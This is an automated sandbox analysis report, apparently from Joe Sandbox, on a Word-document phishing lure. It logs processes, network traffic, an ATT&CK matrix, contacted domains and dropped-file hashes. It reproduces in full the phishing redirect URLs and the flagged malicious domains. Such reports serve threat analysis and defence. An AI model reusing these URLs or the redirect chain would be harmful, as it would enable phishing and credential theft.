        Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58742 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58720
        Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58726 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58745 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58768 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58729
        Source: unknownNetwork traffic detected: HTTP traffic on port 58737 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58762 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58726
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58725
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58728
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58727
        Source: unknownNetwork traffic detected: HTTP traffic on port 58720 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58721
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58724
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58723
        Source: unknownNetwork traffic detected: HTTP traffic on port 58723 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58731
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58730
        Source: unknownNetwork traffic detected: HTTP traffic on port 58751 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58748 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49715 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49719 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49722 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49739 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:58761 version: TLS 1.2
        Source: classification engineClassification label: mal68.phis.winDOCX@20/27@36/257
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\Desktop\~$tertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{3B48D954-00CD-4871-A70D-32FBA075AD66} - OProcSessId.dat
        Source: Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docxOLE indicator, Word Document stream: true
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile read: C:\Users\desktop.ini
        Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx" /o ""
        Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://justworks.app.link/?$deeplink_path=/alerts/time_off_requests/13a6b7f0-b2ae-4165-87b0-da6673653a54&$fallback_url=https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1788,i,6734215423760923846,9721339853594599215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1788,i,6734215423760923846,9721339853594599215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
        Source: Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docxInitial sample: OLE indicators vbamacros = False
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
        Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
        Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information queried: ProcessInformation

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid AccountsWindows Management Instrumentation1
        Browser Extensions        		1
        Process Injection        		1
        Masquerading        		OS Credential Dumping1
        Process Discovery        		Remote ServicesData from Local System2
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Scripting        		1
        Registry Run Keys / Startup Folder        		1
        Process Injection        		LSASS Memory1
        File and Directory Discovery        		Remote Desktop ProtocolData from Removable Media1
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt1
        Registry Run Keys / Startup Folder        		1
        Extra Window Memory Injection        		1
        Deobfuscate/Decode Files or Information        		Security Account Manager1
        System Information Discovery        		SMB/Windows Admin SharesData from Network Shared Drive2
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
        Extra Window Memory Injection        		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction

        Screenshots

        Download Video

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        ⊘No Antivirus matches

        Dropped Files

        ⊘No Antivirus matches

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        o365.qazqwertyuiop999.com
        		147.79.74.176
        		truefalse
          		high
          a.nel.cloudflare.com
          		35.190.80.1
          		truefalse
            		high
            code.jquery.com
            		151.101.2.137
            		truefalse
              		high
              learnwell.ie
              		83.138.8.111
              		truefalse
                		high
                bodrumyacht.com
                		172.67.208.230
                		truetrue
                  		unknown
                  cdnjs.cloudflare.com
                  		104.17.25.14
                  		truefalse
                    		high
                    challenges.cloudflare.com
                    		104.18.95.41
                    		truefalse
                      		high
                      justworks.app.link
                      		65.9.66.56
                      		truefalse
                        		high
                        www.google.com
                        		216.58.212.164
                        		truefalse
                          		high
                          api.ipify.org
                          		104.26.12.205
                          		truefalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/true
                              		unknown
                              https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/?%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54&_branch_match_id=1408774826209477055&_branch_referrer=H4sIAAAAAAAAAx2OQWuDQBSEf425rZpV11qQEtJqSysNtYTSy%2FJMnnHjRu3bFcmlv72bwhzmG5hhOmsncx8E59nYZaTe%2BDBNvlZDHzx4PD4iTjeQE9gu93gBGskaZ6y6oBzbVhL%2BzGj%2Bs3UEoknbkDUckMVrkbC7tAnZEYRII5FEkMQrt9qC1g0cejmTzrvbAy%2FauL6TRqBhQa19hQ7fq6F%2Ftt%2FVKw8%2FtupcZ%2FBZ7FiRfb1dxbgPXzbKVNfoVKc1PZYLt1n9lBz2VTkXVO4SWa5%2BCVskUsNJNjQuBinfdjRe8A%2BCScPz%2BQAAAA%3D%3Dfalse
                                		unknown

                                World Map of Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public IPs

                                IPDomainCountryFlagASNASN NameMalicious
                                142.250.186.46
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                142.250.186.67
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                216.58.212.164
                                		www.google.comUnited States
                                		15169GOOGLEUSfalse
                                172.67.208.230
                                		bodrumyacht.comUnited States
                                		13335CLOUDFLARENETUStrue
                                104.18.94.41
                                		unknownUnited States
                                		13335CLOUDFLARENETUSfalse
                                83.138.8.111
                                		learnwell.ieIreland
                                		30900WEBWORLD-AStaWebWorldIrelandIEfalse
                                52.111.236.35
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                142.250.185.106
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                147.79.74.176
                                		o365.qazqwertyuiop999.comUnited States
                                		208485EKSENBILISIMTRfalse
                                142.251.168.84
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                20.189.173.16
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                65.9.66.56
                                		justworks.app.linkUnited States
                                		16509AMAZON-02USfalse
                                52.109.89.19
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                151.101.66.137
                                		unknownUnited States
                                		54113FASTLYUSfalse
                                35.190.80.1
                                		a.nel.cloudflare.comUnited States
                                		15169GOOGLEUSfalse
                                104.26.13.205
                                		unknownUnited States
                                		13335CLOUDFLARENETUSfalse
                                52.113.194.132
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                104.17.24.14
                                		unknownUnited States
                                		13335CLOUDFLARENETUSfalse
                                104.26.12.205
                                		api.ipify.orgUnited States
                                		13335CLOUDFLARENETUSfalse
                                1.1.1.1
                                		unknownAustralia
                                		13335CLOUDFLARENETUSfalse
                                184.51.148.194
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                172.217.16.206
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                172.217.18.3
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                104.18.95.41
                                		challenges.cloudflare.comUnited States
                                		13335CLOUDFLARENETUSfalse
                                151.101.2.137
                                		code.jquery.comUnited States
                                		54113FASTLYUSfalse
                                239.255.255.250
                                		unknownReserved
                                		unknownunknownfalse
                                52.109.28.46
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                2.23.242.162
                                		unknownEuropean Union
                                		8781QA-ISPQAfalse
                                104.17.25.14
                                		cdnjs.cloudflare.comUnited States
                                		13335CLOUDFLARENETUSfalse

                                Private

                                IP
                                192.168.2.16

                                General Information

                                Joe Sandbox version:42.0.0 Malachite
                                Analysis ID:1593670
                                Start date and time:2025-01-17 13:18:02 +01:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                Number of analysed new started processes analysed:11
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • EGA enabled
                                Analysis Mode:stream
                                Analysis stop reason:Timeout
                                Sample name:Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx
                                Detection:MAL
                                Classification:mal68.phis.winDOCX@20/27@36/257
                                Cookbook Comments:
                                • Found application associated with file extension: .docx
                                • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
                                • Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.109.89.19, 2.23.242.162, 52.113.194.132, 199.232.210.172, 52.111.236.35, 52.111.236.33, 52.111.236.32, 52.111.236.34, 172.217.18.3, 172.217.16.206, 142.251.168.84, 142.250.186.174, 216.58.212.174, 142.250.185.110, 20.189.173.16, 142.250.185.106, 142.250.186.42, 172.217.16.202, 142.250.186.106, 216.58.206.74, 142.250.184.202, 142.250.186.170, 142.250.186.74, 142.250.185.170, 216.58.206.42, 172.217.18.10, 142.250.185.138, 142.250.185.234, 142.250.184.234, 142.250.181.234, 142.250.185.202, 20.242.39.171
                                • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, weu-azsc-000.roaming.officeapps.live.com, clientservices.googleapis.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, clients2.google.com, redirector.gvt1.com, login.live.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, onedscolprdwus17.westus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, fe3.delivery
                                • Not all processes where analyzed, report is missing behavior information
                                • Report size getting too big, too many NtQueryAttributesFile calls found.
                                • Report size getting too big, too many NtQueryValueKey calls found.
                                • Report size getting too big, too many NtReadVirtualMemory calls found.
                                • VT rate limit hit for: bodrumyacht.com

                                Created / dropped Files

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 17 11:18:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2673
                                Entropy (8bit):3.974893145794596
                                Encrypted:false
                                SSDEEP:
                                MD5:68D4F6E3FA129443174F656BC6552938
                                SHA1:AFDD5A7DA6C296423625A99F17EE164D58DC5CD9
                                SHA-256:69971319D541B7DF7A15903CE53CCE3AB411D66C58DF050C549D5A407EC65019
                                SHA-512:1EFEC91E7D4A9D2B1534168FCDEC38A20471BF190996378330CAC6414B24062BC32BB84885F6703C63323921C221FFB017642F6EE3C62659022D97DB6A24BAE4
                                Malicious:false
                                Reputation:unknown
